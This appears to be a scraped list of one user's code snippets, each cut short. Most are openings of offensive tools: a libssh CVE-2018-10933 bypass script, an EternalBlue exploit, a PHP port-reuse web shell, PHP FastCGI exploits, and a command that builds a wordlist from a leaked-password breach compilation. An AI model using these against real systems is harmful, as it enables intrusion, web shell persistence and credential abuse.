Arryboom

# Choose one command, Copy it and execute, no need for execute reporter.sh file.
# Report file was place at /tmp/reporter.csv|md

# CSV version
# Preview: https://imgur.com/c5E0T1v
netstat -ntlp | awk 'BEGIN{ system("echo IP, Port, PID, Parameter > /tmp/reporter.csv") } NR>2 {if($4 !~ "::" && $7 != "-"){split($4,ipAndPort,":"); split($7,pidAndProgress,"/"); system("echo "ipAndPort[1]","ipAndPort[2]","pidAndProgress[1]", `cat /proc/"pidAndProgress[1]"/cmdline` >> /tmp/reporter.csv")}}'

# Markdown version
# Preview: https://imgur.com/ivmUhgu
netstat -ntlp | awk 'BEGIN{ system("echo \\|IP\\|Port\\|PID\\|Parameter\\| > /tmp/reporter.md; echo \\|-\\|-\\|-\\|-\\| >> /tmp/reporter.md") } NR>2 {if($4 !~ "::" && $7 != "-"){split($4,ipAndPort,":"); split($7,pidAndProgress,"/"); system("echo \\|"ipAndPort[1]"\\|"ipAndPort[2]"\\|"pidAndProgress[1]"\\|`cat /proc/"pidAndProgress[1]"/cmdline`\\| >> /tmp/reporter.md")}}'

Arryboom

#!/usr/bin/env python
# Based on https://www.openwall.com/lists/oss-security/2018/08/16/1
# untested CVE-2018-10933 

import sys, paramiko
import logging

username = sys.argv[1]
hostname = sys.argv[2]
command = sys.argv[3]

Arryboom

wordlist created from original 41G stash via:

grep -rohP '(?<=:).*$' | uniq > breachcompilation.txt

Then, compressed with:

7z a breachcompilation.txt.7z breachcompilation.txt

Size:

Arryboom

#!/usr/bin/env bash
# repository
cd /tmp
wget http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
rpm -Uvh epel-release-6-8.noarch.rpm

# system update
yum -y update
yum -y groupinstall "Development Tools"
yum -y install libxslt-devel libyaml-devel libxml2-devel gdbm-devel libffi-devel zlib-devel openssl-devel libyaml-devel readline-devel curl-devel openssl-devel pcre-devel git memcached-devel valgrind-devel mysql-devel ImageMagick-devel ImageMagick

Arryboom

#!/usr/bin/python
# This file has no update anymore. Please see https://github.com/worawit/MS17-010
from impacket import smb, ntlm
from struct import pack
import sys
import socket

'''
EternalBlue exploit for Windows 8 and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)

Arryboom

<?php
// 
//  port_reuse.php
//  
//  Created by wofeiwo <[email protected]> on 2011-08-27.
//  Copyright 2011 80sec. All rights reserved.
//  Reuse Apache 80 port to spawn a interactive shell. Bypass the firewall.
//  Note: Only available on PHP >= 5.3.6 with mod_php on apache.
//  Usage: 1. Put the script on htdocs.
//         2. Get interactive shell:

Arryboom

// PHP FactCGI remote exploit
// Date: 2012-09-15
// Author: [email protected]
// Note: Just for research purpose

package main

import (
	"./fcgiclient"
	"fmt"

Arryboom

<?php
/**
 * PHP 5.3.3+ FASTCGI jailbreak
 *
 * @author      wofeiwo <wofeiwo#80sec.com>
 * @date        2013-01-23 
 * @version     1.0
 * @reference   https://bugs.php.net/bug.php?id=64103 
 * @reference   http://www.wooyun.org/bugs/wooyun-2013-018116 (Chinese)
 * @note        disable php security settings, but can't overwrite disable_function/disable_classes.

Arryboom

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False